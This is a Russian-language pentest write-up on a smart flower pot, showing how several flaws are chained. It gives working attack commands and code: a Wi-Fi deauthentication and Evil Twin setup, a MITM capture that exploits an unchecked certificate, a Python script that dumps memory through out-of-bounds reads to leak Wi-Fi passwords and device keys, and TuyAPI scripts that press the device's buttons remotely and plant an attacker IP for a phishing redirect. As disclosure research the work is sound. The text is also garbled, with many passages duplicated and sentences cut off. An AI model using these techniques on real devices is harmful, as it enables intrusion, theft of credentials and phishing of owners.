“Plants vs. Bugs: пентест умного цветочного горшка”
# Содержание
- Введение
- Исходные данные
С кем работаем + С чем работаем; - Точки входа
Порты, Аппаратная часть, Общение по сети, Приложения; - Аппаратная часть
- Сеть
- Веб-приложение
- Чейним!
- Вывод
# Введение
Из интереса я исследовала безопасность умного цветочного горшка и эта статья, как и доклад на Хакерском митапе SPbCTF x Yandex, будет посвящена тому, как это было, и всему тому, что я нашла, используя навыки, которые на первый взгляд отличаются от необходимых для анализа защищённости IoT устройств.
Почему умный цветочный горшок?
К моему большому сожалению, с растениями у меня никогда не клеилось. Мне тяжело ориентироваться в потребностях того, что не даёт моментальный отклик, не выражает свою реакцию на мои действия в наглядном виде, потому всё зелёное, к чему я прикладывала бы руку, – вяло и неизбежно гибло.
Но живые растения – это очень красиво, а потому, чтобы подружиться с ними, я нашла и приобрела умный горшок для растений, который смог бы избавить меня от необходимости развивать навык садоводства с нуля.
Основная область моей экспертизы, как специалиста по анализу защищённости, – пентест веб и мобильных приложений, и может показаться, что исследование безопасности IoT устройства (в классическом понимании) – это не совсем про приложения, а скорее про уровни пониже: пайку и извлечение прошивки из железа, обратную разработку, изучение схемы памяти и бинарную эксплуатацию, ...
На момент написания статьи, паять я не умею и сезон PWN от SPbCTF я не отходила, а значит будем работать на близко знакомых мне верхних уровнях.

С чем работаем?
Исследуемый умный цветочный горшок – аппарат, который подключается к Wi-Fi сети и может общаться как по локальной сети, так и с удалёнными серверами.
Более того, на счастье, помимо развитого навыка садоводства, так необходимого мне, у него оказались в наличии и веб, и мобильное приложение.
Так что, несмотря на не самый грозный вид этого умного устройства, практически любой исследователь безопасности смог бы найти в нём что-то подходящее ему по экспертизе.


Результаты сканирования открытых портов и сервисов, запущенных на устройстве, с помощью утилиты
Исходя из результатов сканирования, открытыми оказались порты:
На первом порту,
ВНИМАНИЕ!
Статья создана в ознак омительных целях и предназначена только для специалистов по анализу защищённости, которые проводят анализ защищённости ресурсов компании-заказчика строго на законных основаниях и на основании договора, заключенного с компанией-заказчиком. Автор не несёт ответственности за любой вред, причиненный с применением изложенной информации.
Распространение вредоносного ПО и нарушение работы систем преследуются по закону.
В статье намеренно скрыта чувствительная информация.
Статья создана в ознак омительных целях и предназначена только для специалистов по анализу защищённости, которые проводят анализ защищённости ресурсов компании-заказчика строго на законных основаниях и на основании договора, заключенного с компанией-заказчиком. Автор не несёт ответственности за любой вред, причиненный с применением изложенной информации.
Распространение вредоносного ПО и нарушение работы систем преследуются по закону.
В статье намеренно скрыта чувствительная информация.
Почему умный цветочный горшок?
К моему большому сожалению, с растениями у меня никогда не клеилось. Мне тяжело ориентироваться в потребностях того, что не даёт моментальный отклик, не выражает свою реакцию на мои действия в наглядном виде, потому всё зелёное, к чему я прикладывала бы руку, – вяло и неизбежно гибло.
Но живые растения – это очень красиво, а потому, чтобы подружиться с ними, я нашла и приобрела умный горшок для растений, который смог бы избавить меня от необходимости развивать навык садоводства с нуля.
##~ Исходные данные
С кем работаем?Основная область моей экспертизы, как специалиста по анализу защищённости, – пентест веб и мобильных приложений, и может показаться, что исследование безопасности IoT устройства (в классическом понимании) – это не совсем про приложения, а скорее про уровни пониже: пайку и извлечение прошивки из железа, обратную разработку, изучение схемы памяти и бинарную эксплуатацию, ...
На момент написания статьи, паять я не умею и сезон PWN от SPbCTF я не отходила, а значит будем работать на близко знакомых мне верхних уровнях.

С чем работаем?
Исследуемый умный цветочный горшок – аппарат, который подключается к Wi-Fi сети и может общаться как по локальной сети, так и с удалёнными серверами.
Более того, на счастье, помимо развитого навыка садоводства, так необходимого мне, у него оказались в наличии и веб, и мобильное приложение.
Так что, несмотря на не самый грозный вид этого умного устройства, практически любой исследователь безопасности смог бы найти в нём что-то подходящее ему по экспертизе.

Из входных точек, которые бросаются в глаза и должны быть рассмотрены в комплексе для полноценного анализа, имеем:
- Порты
- Аппаратную часть
- Сеть
- Приложения

##~ Точки входа
> Порты
Важно узнать, какие порты открыты на устройстве и что за сервисы их используют, чтобы иметь представление о возможностях взаимодействия с устройством, а также для того, чтобы собрать информацию о частых уязвимостях в этих сервисах.Вопросы, на которые необходимо ответить:
Результат ответов на эти вопросы:
- Какие сервисы запущены на портах?
- Что представляют из себя эти сервисы?
Результат ответов на эти вопросы:
- Вектора взаимодействия атакующего с устройством
- Информация о скоупе
- Уязвимости, характерные для конкретных технологий
Результаты сканирования открытых портов и сервисов, запущенных на устройстве, с помощью утилиты
nmap:PORT STATE SERVICE
80/tcp open http
6668/tcp open irc
MAC Address: UU:VV:WW:XX:YY:ZZ (Espressif)
1 service unrecognized despite returning data. Fingerprint:
SF-Port80-TCP:V=7.95%I=7%D=7/28%Time=66A65C58%P=x86_64-apple-darwin21.6.0%
SF:r(GetRequest,CB,"HTTP/1\.0\x20404\x20Not\x20Found\r\nContent-Length:\x2
SF:00\r\nAccess-Control-Allow-Headers:\x20Accept,\x20Content-Type,\x20Auth
SF:orization\r\nAccess-Control-Allow-Credentials:\x20true\r\nAccess-Contro
SF:l-Allow-Origin:\x20\*\r\nConnection:\x20close\r\n\r\n")%r(HTTPOptions,C
SF:4,"HTTP/1\.0\x20200\x20OK\r\nContent-Length:\x200\r\nAccess-Control-All
SF:ow-Headers:\x20Accept,\x20Content-Type,\x20Authorization\r\nAccess-Cont
SF:rol-Allow-Credentials:\x20true\r\nAccess-Control-Allow-Origin:\x20\*\r\
SF:nConnection:\x20close\r\n\r\n")%r(RTSPRequest,D9,"HTTP/1\.1\x20200\x20O
SF:K\r\nContent-Length:\x200\r\nAccess-Control-Allow-Headers:\x20Accept,\x
SF:20Content-Type,\x20Authorization\r\nAccess-Control-Allow-Credentials:\x
SF:20true\r\nAccess-Control-Allow-Origin:\x20\*\r\nConnection:\x20close\r\
SF:nAccept-Ranges:\x20none\r\n\r\n")%r(FourOhFourRequest,CB,"HTTP/1\.0\x20
SF:404\x20Not\x20Found\r\nContent-Length:\x200\r\nAccess-Control-Allow-Hea
SF:ders:\x20Accept,\x20Content-Type,\x20Authorization\r\nAccess-Control-Al
SF:low-Credentials:\x20true\r\nAccess-Control-Allow-Origin:\x20\*\r\nConne
SF:ction:\x20close\r\n\r\n");Исходя из результатов сканирования, открытыми оказались порты:
80, 6668.На первом порту,
80, запущено веб-приложение, второй же, 6668 – специальный порт для локального управления устройством, который будет рассмотрен более подробно далее.> Аппаратная часть
Касаемо того, из чего состоит аппаратная часть умного устройства, важно узнать, что находится снаружи, на поверхности устройства, и что располагается внутри, чтобы более полно ознакомиться с доступной функциональностью и векторами взаимодействия пользователя с устройством.Вопросы, на которые необходимо ответить:
Результат ответов на эти вопросы:
- Что находится на поверхности устройства?
- Что находится внутри устройства?
Результат ответов на эти вопросы:
- Вектора взаимодействия пользователя с устройством
- Возможность физического влияния на окружающий мир
- Риски / Последствия влияния через устройство
- Техническая информация (технологии, характеристики памяти, ...)
- Уязвимости, характерные для конкретных технологий
> Общение по сети
Доподлинно известно, что устройство в сети и общается по сети: как минимум оно должно отправлять логи и обновлять прошивку, но важно узнать с кем и как оно общается.Вопросы, на которые необходимо ответить:
Результат ответов на эти вопросы:
- В каких случаях общается по сети?
- С кем общается по сети?
- Каким образом общается по сети?
Результат ответов на эти вопросы:
- Вектора взаимодействия атакующего с устройством
- Информация об используемых протоколах
- Особенности конкретных технологий
- Уязвимости, характерные для конкретных технологий
> Приложения
По приложениям: помимо веб-приложения, которое запущено на порту80, умный горшок должен быть подключен к мобильному приложению стороннего вендора для управления умным домом, а также, как оказалось, дополнительно может быть подключен к консоли разработчика того же вендора для более полного, расширенного взаимодействия с устройством с помощью специального API.Вопросы, на которые необходимо ответить:
Результат ответов на эти вопросы:
- Какова функциональность веб-приложения?
- Какова функциональность мобильного приложения?
- Какую функциональность предоставляет консоль разработчика?
Результат ответов на эти вопросы:
- Вектора взаимодействия атакующего с устройством
- Техническая информация (технологии, версии, ...)
- Уязвимости, характерные для конкретных технологий
- Необходимые привилегии для доступа к каждому приложению
- Связь между сервисами и приложениями
- Возможность / Последствия влияния на приложение A через приложение B
# Аппаратная часть
В результате вскрытия корпуса устройства, обнаружилась следующая плата:
Установлен микроконтроллер ESP32, рядом припаяна карта памяти eMMC. Насколько знаю, в более ранних версиях вместо eMMC была установлена microSD карта, которую, в отличие от eMMC, можно было бы считать с помощью самого обычного картридера. Несмотря на существование гайдов по чтению eMMC, большинство из них требуют пайки, как, например, этот гайд через перепайку 3G модема. К сожалению, по причинам, описанным ранее, мне такие варианты не подходят.
Осмотр внутреннего аппаратного содержимого позволил с лёгкостью найти справочную информацию и документацию конкретно для тех технологий, что задействуются в исследуемом устройстве, следовательно, дал представление о характеристиках устройства: архитектуре, устройстве памяти, форматах данных, ...
Не менее важно то, что, исходя из наружного устройства, у данного умного цветочного горшка:

Установлен микроконтроллер ESP32, рядом припаяна карта памяти eMMC. Насколько знаю, в более ранних версиях вместо eMMC была установлена microSD карта, которую, в отличие от eMMC, можно было бы считать с помощью самого обычного картридера. Несмотря на существование гайдов по чтению eMMC, большинство из них требуют пайки, как, например, этот гайд через перепайку 3G модема. К сожалению, по причинам, описанным ранее, мне такие варианты не подходят.
Осмотр внутреннего аппаратного содержимого позволил с лёгкостью найти справочную информацию и документацию конкретно для тех технологий, что задействуются в исследуемом устройстве, следовательно, дал представление о характеристиках устройства: архитектуре, устройстве памяти, форматах данных, ...
- ESP32-WROVER-E Datasheet, Espressif Systems
- Xtensa Instruction Set Architecture Summary, Cadence Design Systems
Не менее важно то, что, исходя из наружного устройства, у данного умного цветочного горшка:
- Множество сенсоров: освещённость, влажность воздуха, влажность почвы, температура, ...
- Есть дисплей: на нём отображается статистика по сенсорам и прочая полезная информация
- Есть кнопки: кнопка питания, кнопки “влево” и “вправо” для перелистывания страниц дисплея, кнопка “домой” для возвращения на основную страницу
Идеи, исходя из аппаратного устройства:
- Возможность влияния на сенсоры: передача произвольных значений, нарушение корректной работы устройства, ...
- Возможность влияния на дисплей: вывод произвольных изображений, нарушение работы дисплея, ...
- Возможность влияния на кнопки: удалённое переключение состояний произвольных кнопок, управление питанием, ...
# Сеть
Для того, чтобы просмотреть трафик и понять, как устройство общается с сервером для отправки логов и обновления прошивки, пришлось подключить к ноутбуку Wi-Fi адаптер и поднять свою беспроводную точку:
Доступен единственный легитимный вариант изменения беспроводной точ ки доступа, к которой подключено устройство: необходимо несколько раз подряд нажать кнопку питания, подтвердить запуск процесса реконфигурации устройства, после которого оно будет отвязано от мобильного приложения, и тогда пользователь сможет повторно подключить устройство к сети, выбрав другую сеть Wi-Fi.
Если же представить, что я не владелец устройства, а всего лишь гость, который не может просто взять и сменить Wi-Fi сеть, к которой подключено устройство, способом, описанным выше, то на пути к успешному просмотру сетевого трафика от лица атакующего появляется дополнительный шаг: необходимо провести атаку Evil Twin через деаутентификацию умного горшка с помощью
Запросы действительно шлются при запуске устройства, его работе и обновл ении, с использованием протокола HTTPS. В трафике нашёлся хост сервера обновлений, а общение с ним удалось просмотреть подробнее благодаря Man-in-the-Middle атаке, проводимой с помощью инструмента

Из них стало ясно, что устройство в каждом запросе передаёт серверу обновлений некоторые идентификатор (

Стоит заметить, что, учитывая то, что устройство общается с сервером обновлений по HTTPS, ран ее, при проведении MITM атаки (для просмотра запросов), атакующему должна была помешать проверка сертификата. Но, как оказалось, сертификат у сервера обновлений истёк, а обновления продолжают работать, что намекнуло на непроверку сертификата и потенциальную возможность проведения MITM атаки, которая в итоге оказалась не просто потенциальной, а реальной. Это означает, что, при должном желании, атакующий может провести имперсонацию сервера, чтобы подделывать обновления, загружаемые на устройство.
sudo hostapd /etc/hostapd/hostapd.confsudo dnsmasq -k --interface {interface} --dhcp-range={fromIP},{toIP} --log-debug --log-dhcp --log-queries --log-facility=-Доступен единственный легитимный вариант изменения беспроводной точ ки доступа, к которой подключено устройство: необходимо несколько раз подряд нажать кнопку питания, подтвердить запуск процесса реконфигурации устройства, после которого оно будет отвязано от мобильного приложения, и тогда пользователь сможет повторно подключить устройство к сети, выбрав другую сеть Wi-Fi.
Если же представить, что я не владелец устройства, а всего лишь гость, который не может просто взять и сменить Wi-Fi сеть, к которой подключено устройство, способом, описанным выше, то на пути к успешному просмотру сетевого трафика от лица атакующего появляется дополнительный шаг: необходимо провести атаку Evil Twin через деаутентификацию умного горшка с помощью
aireplay-ng. Атака состоит из отправки пакетов для разъединения устройства от текущей Wi-Fi точки, чтобы он присоединился к другой – к беспроводной точке атакующего, которая имитирует легитимную, чтобы атакующий смог просматривать сетевой трафик.aireplay-ng -0 {n} -a {accessPointMAC} -c {clientMAC} {interface}Запросы действительно шлются при запуске устройства, его работе и обновл ении, с использованием протокола HTTPS. В трафике нашёлся хост сервера обновлений, а общение с ним удалось просмотреть подробнее благодаря Man-in-the-Middle атаке, проводимой с помощью инструмента
mitmdump:mitmdump --mode transparent --showhost --ssl-insecure --flow-detail {n}
Из них стало ясно, что устройство в каждом запросе передаёт серверу обновлений некоторые идентификатор (
"id") и ключ ("key") в составе заголовка запроса Auth. Этого достаточно, чтобы проводить имперсонацию клиента: подделывать запросы от устройства к серверу и, например, извлекать файлы обновлений, которые не доступны обычному пользователю извне (возвращается ошибка доступа), а предоставляются лишь устройствам, причём именно благодаря такому заголовку, который автоматически подставляется в их запросы к серверу обновлений.
Стоит заметить, что, учитывая то, что устройство общается с сервером обновлений по HTTPS, ран ее, при проведении MITM атаки (для просмотра запросов), атакующему должна была помешать проверка сертификата. Но, как оказалось, сертификат у сервера обновлений истёк, а обновления продолжают работать, что намекнуло на непроверку сертификата и потенциальную возможность проведения MITM атаки, которая в итоге оказалась не просто потенциальной, а реальной. Это означает, что, при должном желании, атакующий может провести имперсонацию сервера, чтобы подделывать обновления, загружаемые на устройство.
Результат:
- Имперсонация клиента:
Непроверка сертификата
Возможность проведения MITM атаки
Кража аутентификационных данных из запросов
Подделка запросов к серверу обновлений
Извлечение файлов обновлений - Имперсонация сервера обновлений:
Непроверка сертификата
Возможность проведения MITM атаки
Подделка ответов от сервера обновлений
Установка произвольных "обновлений"
# Веб-приложение
Веб-приложение, запущенное на порту 
Каждое действие генерирует запрос к API методу, конечной точке
Обобщая, ожидаемое содержимое запросов к конечной точке
Первая проблема – это отсутствие каких-либо встроенных механизмов аутентификации / авторизации;
Устройство не спрашивает пользователя ни о каких паролях и никаким образом не разграничивает доступ к ин терфейсу, позволяя любому, кто имеет сетевой доступ, беспрепятственно взаимодействовать с веб-приложением. Даже для локальной сети (не говоря о сценарии с намеренным выводом приложения в Интернет, который рассматривается параллельно), такой подход – это неправильно.

В списке действий есть действие
Такая функциональность наталкивает на мысли о возможности удалённого исполнения кода и о возможности сканирования локальной сети.
Оказалось, что, отталкиваясь от времени ответа устройства на запрос с командой подключиться (
Таким образом, атакующий может провести Time-based скан локальной сети, что определённо несёт угрозу в случае вывода интерфейса в Интернет.
В списке действий есть действие
Значения этих параметров можно запрашивать и по отдельности, с помощью метода

Первая мысль при виде запроса о выводе значения включения массива по произвольному индексу – попробовать запросить индекс вне предполагаемых пределов массива. Стратегия оказалась верной, устройство действительно позволило запросить индекс за пределами массива и вывело некоторое значение. По обе стороны от массива с параметрами оказались целочисленные значения, а также числа с плавающей точкой, которые можно перевести в байты.
Более того, значения этих параметров также можно переписывать с помощью метода

Скрипт для последовательного извлечения значений на языке Python:
Слева продемонстрирована работа чуть видоизменённого скрипта, а справа – шестнадцатеричный дамп файла, получившегося в результате этой работы:

В основном по обе стороны от массива параметров располагаются пустые, "мусорные" данные, но в одном участке памяти оказались любопытные данные, которые не должны попадать в руки к злоумышленникам. Некоторые из этих данных доступны для просмотра легитимным образом лишь через консоль разработчика и предоставляемое через неё расширенное API, для подключения которых требуется пройти особый процесс регистрации.

В дампе памяти можно найти чувствительную информацию, представленную в таблице ниже. Среди неё: несколько идентификаторов устройства, каждый из которых играет свою роль во взаимодействии с устройством, имя и пароль от Wi-Fi сети, к которой подключали устройство, и пару ключей.
Важно отметить, что локальный ключ (
80, представляет из себя интерфейс, где пользователь может загружать произвольные картинки, видео и анимации для проигрывания на дисплее устройства:
Каждое действие генерирует запрос к API методу, конечной точке
control, в которую передаётся идентификатор – номер действия и соответствующие ему аргументы. Среди действий, например: перечисление, загрузка, удаление и отображение анимаций, выбор режима анимаций, ...Обобщая, ожидаемое содержимое запросов к конечной точке
control можно представить в виде следующей таблицы:| Команда | Аргументы | Действие |
|---|---|---|
SET_PROPERTY | param, value | Установить значение параметра |
GET_PROPERTY | param | Получить значение параметра |
GET_SNAPSHOT | – | Получить снапшот (сохранённый список значений параметров) |
GET_STATE | – | Получить состояние (сохранённый словарь значений параметров) |
CUSTOM_ANIMATION | action, ... | Действия с анимациями |
CUSTOM_VIDEO | action, ... | Действия с видео |
ANIMATION_MODE | index, mode | Установка режима анимаций |
ANIMATION_GROUP | – | Отключено |
DELETE_ANIMATION | – | Отключено |
TCP_CONNECT | open, host, port | Отключение / Подключение к хосту |
Вообще, этому устройству не присваивается белый, статический IP адрес, до которого внешние пользователи могли бы дотянуться сквозь глобальную сеть. По умолчанию взаимодействие с веб-приложением возможно только из локальной сети.
Но мне захотелось обратить внимание на проблему: что, если пользователь организует прокси, чтобы вывести интерфейс в Интернет? Может я хочу получать открытки от друзей, чтобы каждое утро просматривать их, как будто настоящую почту, и радоваться оставленным мне посланиям?

Оказалось, что это действительно повышает импакт, тяжесть последствий эксплуатации некоторых уязвимостей данного веб-приложения.
Но мне захотелось обратить внимание на проблему: что, если пользователь организует прокси, чтобы вывести интерфейс в Интернет? Может я хочу получать открытки от друзей, чтобы каждое утро просматривать их, как будто настоящую почту, и радоваться оставленным мне посланиям?

Оказалось, что это действительно повышает импакт, тяжесть последствий эксплуатации некоторых уязвимостей данного веб-приложения.
##~ Отсутствие аутентификации
Первая проблема – это отсутствие каких-либо встроенных механизмов аутентификации / авторизации;
Устройство не спрашивает пользователя ни о каких паролях и никаким образом не разграничивает доступ к ин терфейсу, позволяя любому, кто имеет сетевой доступ, беспрепятственно взаимодействовать с веб-приложением. Даже для локальной сети (не говоря о сценарии с намеренным выводом приложения в Интернет, который рассматривается параллельно), такой подход – это неправильно.

- ДЕФЕЙС
Первый вариант эксплуатации, который приходит в голову, исходя из функциональности, – это, очевидно, дефейс через неавторизованную отправку командCUSTOM_ANIMATION/CUSTOM_VIDEO.
Условный гость может транслировать провокационный, откровенный или запрещённый контент и навлечь проблемы на владельца устройства, особенно если тот не знает про веб-приложение, а потому не может удалить нежелательные загрузки. - НАРУШЕНИЯ РАБОТЫ
Второй вариант эксплуатации – нарушение работы устройства: - Через неавторизованную отправку команд к
SET_PROPERTYстановится возможным произвольное изменение настроек, что неизбежно приведёт к некорректной работе устройства. Например, атакующий может установить неположительное значение параметра уровня зарядаbattery, после чего устройство выключится, а на попытки включить его будет отвечать ошибкойLOW BATTERY. - При флуде запросами: DoS, устройство перестанет отвечать и аварийно перезапустится, сбрасывая некоторые настройки.
- При установке неожиданных для устройства значений параметров: устройство перестанет отвечать и аварийно перезапустится, сбрасывая некоторые настройки.
- При запросе индекса за предполагаемыми пределами массива: можно добиться повреждений памяти и тогда устройство перестанет отвечать (без аварийной перезагрузки), в том числе на попытки принудительной перезагрузки / выключения с помощью кнопок, до момента полной разрядки аккумулятора
Результат:
- Дефейс:
CUSTOM_ANIMATION/CUSTOM_VIDEO - Некорректная работа: Произвольные значения
- Перезапуск: Flood (DoS) / Неожиданные значения
- Вывод из строя: Индекс за пределами массива
##~ Сканирование LAN
В списке действий есть действие
TCP_CONNECT, которое отвечает за отключение / подключение ("open": <false / true>) устройства к произвольному хосту ("host": "WWW.XXX.YYY.ZZZ") и порту ("port": NNNNN).Такая функциональность наталкивает на мысли о возможности удалённого исполнения кода и о возможности сканирования локальной сети.
- Фаззинг подключения ни к чему не привёл
- Сканировать локальную сеть из локальной сети – смысла нет *
(* Учитывая, что веб-приложение доступно только из локальной сети) - А вот сканировать локальную сеть из Интернета – смысл есть! **
(** Рассматривая сцен арий с выводом приложения в Интернет)

Оказалось, что, отталкиваясь от времени ответа устройства на запрос с командой подключиться (
"open": true) к конкретному хосту и порту, можно понять, есть ли в локальной сети запрашиваемый хост и открыт ли у него запрашиваемый порт.Таким образом, атакующий может провести Time-based скан локальной сети, что определённо несёт угрозу в случае вывода интерфейса в Интернет.
Результат:
- Нет хоста Текущий запрос: ~3 с.
- Есть хост, Нет портаТекущий запрос: < 3 с.
- Есть хост, Есть портСледующие запросы: ~10-20 мс.
##~ Чтение / Запись в память
В списке действий есть действие
GET_SNAPSHOT. Результат выполнения команды – вывод "снапшота". Снапшот представляет из себя массив сохранённых значений параметров: уровня заряда батареи, температуры, влажности воздуха, влажности почвы, освещённости, ...Значения этих параметров можно запрашивать и по отдельности, с помощью метода
GET_PROPERTY, с указанием нужного индекса массива ("param": N):
Первая мысль при виде запроса о выводе значения включения массива по произвольному индексу – попробовать запросить индекс вне предполагаемых пределов массива. Стратегия оказалась верной, устройство действительно позволило запросить индекс за пределами массива и вывело некоторое значение. По обе стороны от массива с параметрами оказались целочисленные значения, а также числа с плавающей точкой, которые можно перевести в байты.
Более того, значения этих параметров также можно переписывать с помощью метода
SET_PROPERTY с указанием нужного индекса массива ("param": N) и нового значения параметра ("value": N). К сожалению, иногда это приводит к тому, о чём упоминалось ранее, а именно – к нарушению работы устройства. Оно может перестать отвечать, в том числе на принудительные попытки перезапуска или выключения, до момента полной разрядки аккумулятора.
Скрипт для последовательного извлечения значений на языке Python:
import struct
import requests
start_param = 0
end_param = 1337
with open("dumpy.bin", "wb") as f:
for i in range(start_param, end_param):
print(f"[*] Requesting {i}")
r = requests.post("http://ADDRESS/control", json={"cmd": 1, "param": i})
value = r.json()["value"]
if type(value) == int:
f.write(struct.pack("<i", value))
elif type(value) == float:
f.write(struct.pack("<f", value))
elif value is None:
f.write(struct.pack("<i", 0))
else:
print("Unknown type!", value)
f.flush()Слева продемонстрирована работа чуть видоизменённого скрипта, а справа – шестнадцатеричный дамп файла, получившегося в результате этой работы:

В основном по обе стороны от массива параметров располагаются пустые, "мусорные" данные, но в одном участке памяти оказались любопытные данные, которые не должны попадать в руки к злоумышленникам. Некоторые из этих данных доступны для просмотра легитимным образом лишь через консоль разработчика и предоставляемое через неё расширенное API, для подключения которых требуется пройти особый процесс регистрации.

В дампе памяти можно найти чувствительную информацию, представленную в таблице ниже. Среди неё: несколько идентификаторов устройства, каждый из которых играет свою роль во взаимодействии с устройством, имя и пароль от Wi-Fi сети, к которой подключали устройство, и пару ключей.
| № | Тип информации | Пример значения |
|---|---|---|
01 | UUID | uuid4ced████████████57a8 |
02 | KEY | G5VL3██████████████████icL5A |
02 | Название продукта | Smart██████████ |
03 | Имя Wi-Fi | Mikh██v H█ldings |
03 | Пароль от Wi-Fi | aic████████1 |
04 | Идентификатор DEVICE | bf310█████████████████pal |
05 | Идентификатор PRODUCT | 8n3q██████████t |
06 | LOCAL KEY | ███████████)a2R0 |
Результат:
- Improper Input Validation в
GET_PROPERTY:
Чтение произвольных участков памяти
Утечка чувствительной информации - Improper Input Validation в
SET_PROPERTY:
Запись в произвольные участки памяти
Временный вывод устройства из строя
Важно отметить, что локальный ключ (
LOCAL KEY), в паре с одним из идентификаторов (идентификатор DEVICE), может быть использован для отправки запросов к устройству через TuyAPI – API управления устройствами от стороннего вендора.# Чейним!
Открытый на устройстве порт
Для удобного взаимодействия с TuyAPI существует NodeJS библиотека с шаблонами скриптов.

Пример скрипта для взаимодействия с исследуемым умным устройством через TuyAPI с помощью соответствующей NodeJS библиотеки:
Расширенное API для умного цветочного горшка включает в себя примерно 50 кодов команд и позволяет управлять увеличенным спектром настроек: обновлять прошивку, менять язык, устанавливать время режима "сна", корректировать историю статистики по параметрам, ...

Среди всех, наиболее многообещающей выглядела команда
Не менее интересной оказалась команда
В целом, такая смена IP адреса не мешает корректной работе самого устройства. Но значение IP адреса указывается в мобильном приложении, на страницах с информацией об устройстве и на странице с ссылками на веб-интерфейс анимаций. На последней – адрес подставляется внутрь кнопки для перехода к управлению анимациями, на которую пользователю предлагает нажать само приложение, предупреждая его, что будет выполнен переход в браузер, а также внутрь текста, который призван наглядно показать ссылку – путь, по которому располагается веб-приложение.
Атакующий может подменить значение IP адреса, а значит и ссылку внутри кнопки и внутри текста, на произвольную. В случае необходимости передать путь, отличный от
Ссылка атакующего сохранится в мобильном приложении до сброса настроек устройства (сброс настроек может произойти, например, вследствие аварийного перезапуска). Пользователь мобильного приложения, желая воспользоваться веб-интерфейсом для управления анимациями, попадёт на ресурс, указанный атакуемым, и с высокой вероятностью поверит в легитимность этого ресурса, ведь его туда пригласило официальное приложение умного дома, предварительно продемонстрировав конкретную ссылку, на которой тот окажется. Последствия эксплуатации уязвимости совпадают с классическими последствиями эксплуатации Open Redirect.
Так может выглядеть один из результатов эксплуатации – перенаправление атакуемого на фишинговый ресурс, который подконтролен атакующему и содержит "вредоносный" экземпляр reCAPTCHA:

6668 оказался портом для управления устройством в LAN через TuyAPI. Это расширенное API для разработчиков, для взаимодействия с которым нужны украденные идентификатор устройства (идентификатор DEVICE) и локальный ключ (LOCAL KEY).Для удобного взаимодействия с TuyAPI существует NodeJS библиотека с шаблонами скриптов.

Пример скрипта для взаимодействия с исследуемым умным устройством через TuyAPI с помощью соответствующей NodeJS библиотеки:
import TuyAPI from "tuyapi";
const CODES = {
...
107: "VERSION_INFORMATION",
118: "SYSTEM_COMMANDS",
...
};
function translate(dps) {
const translated = {};
for (const [key, value] of Object.entries(dps)) {
translated[CODES[key]] = value;
}
return translated;
}
const device = new TuyAPI({
id: "DEVICE_IDENTIFICATOR",
key: "LOCAL_KEY",
});
device.find({ timeout: 20 }).then(() => {
console.log("Found device:", device.device);
device.connect();
});
device.on("connected", () => {
console.log("Connected to device!");
const f = () => {
device
.set({
dps: CODE,
set: 'VALUE',
shouldWaitForResponse: false,
});
};
setTimeout(f, 1000);
});
device.on("disconnected", () => {
console.log("Disconnected from device.");
});
device.on("error", (error) => {
console.log("Error!", error);
});
device.on("data", (data, commandByte, sequenceN) => {
console.log("Data:", translate(data.dps));
});
device.on("dp-refresh", (data, commandByte, sequenceN) => {
console.log("Refresh:", translate(data.dps));
});
setTimeout(() => {
device.disconnect();
}, 300_000);Расширенное API для умного цветочного горшка включает в себя примерно 50 кодов команд и позволяет управлять увеличенным спектром настроек: обновлять прошивку, менять язык, устанавливать время режима "сна", корректировать историю статистики по параметрам, ...

Среди всех, наиболее многообещающей выглядела команда
SYSTEM_COMMANDS (118). В действительности она не позволяет выполнять системные команды, как кажется из названия, но зато она отвечает за эмуляцию нажатия кнопок: становится возможным удалённое нажатие любой кнопки умного горшка, от возвращения домой до запуска обновления и управления питанием.device.on("connected", () => {
console.log("Connected to device!");
const f = () => {
device
.set({
dps: 118,
set: '{"sys_cmd": ID}',
shouldWaitForResponse: false,
});
};
setTimeout(f, 1000);
});Не менее интересной оказалась команда
VERSION_INFORMATION (107). Она должна отвечать за обновление информации о текущей версии прошивки, установленной на устройстве, но, из-за уязвимости к Mass Assignment, атакующий может указать в запросе и некоторые другие параметры, связанные с информацией об устройстве. Таким образом, проэксплуатировав уязвимость, атакующей может успешно подменить неизменяемые параметры: например, IP адрес устройства.device.on("connected", () => {
console.log("Connected to device!");
const f = () => {
device
.set({
dps: 107,
set: '{"ip":"ATTACKER"}',
shouldWaitForResponse: false,
});
};
setTimeout(f, 1000);
});В целом, такая смена IP адреса не мешает корректной работе самого устройства. Но значение IP адреса указывается в мобильном приложении, на страницах с информацией об устройстве и на странице с ссылками на веб-интерфейс анимаций. На последней – адрес подставляется внутрь кнопки для перехода к управлению анимациями, на которую пользователю предлагает нажать само приложение, предупреждая его, что будет выполнен переход в браузер, а также внутрь текста, который призван наглядно показать ссылку – путь, по которому располагается веб-приложение.
Атакующий может подменить значение IP адреса, а значит и ссылку внутри кнопки и внутри текста, на произвольную. В случае необходимости передать путь, отличный от
/custom-anim, который автоматически добавляется приложением в конец ссылки на веб-приложение, атакующий может дополнить свою ссылку параметром запроса, например, добавив ?x=, тем самым принудительно помещая /custom-anim внутрь параметра x.Ссылка атакующего сохранится в мобильном приложении до сброса настроек устройства (сброс настроек может произойти, например, вследствие аварийного перезапуска). Пользователь мобильного приложения, желая воспользоваться веб-интерфейсом для управления анимациями, попадёт на ресурс, указанный атакуемым, и с высокой вероятностью поверит в легитимность этого ресурса, ведь его туда пригласило официальное приложение умного дома, предварительно продемонстрировав конкретную ссылку, на которой тот окажется. Последствия эксплуатации уязвимости совпадают с классическими последствиями эксплуатации Open Redirect.
Так может выглядеть один из результатов эксплуатации – перенаправление атакуемого на фишинговый ресурс, который подконтролен атакующему и содержит "вредоносный" экземпляр reCAPTCHA:

Результат:
- Improper Access Control в
GET_PROPERTY:
Чтение произвольных участков памяти
Утечка чувствительной информации
Доступ к API разработчика
Расширенное управление устройством - Mass Assignment в
VERSION_INFORMATION:
Подмена значений параметров
Open Redirect
# Вывод

- Устройства без камеры, микрофона и очевидного риска для жизни тоже подвержены неприятным уязвимостям и могут принести своим владельцам проблемы при недостаточном внимании к обеспечению безопасности всех компонентов, окружающих это устройство внутри экосистемы умного дома.
Тяжесть последствий эксплуатации уязвимости в том или ином устройстве может отличаться, но она никогда не бывает нулевой. - Исследование в формате black box – это не беда, а связывать уязвимости в цепочку – это весело, так что исследование возможно даже с "непод ходящим" распределением навыков, ведь именно взгляды разных сторон, обладающих разной экспертизой и опытом, на одну проблему делают анализ этой проблемы нелинейным и, за счёт этого, любопытным и комплексным.
Ваш взгляд тоже важен.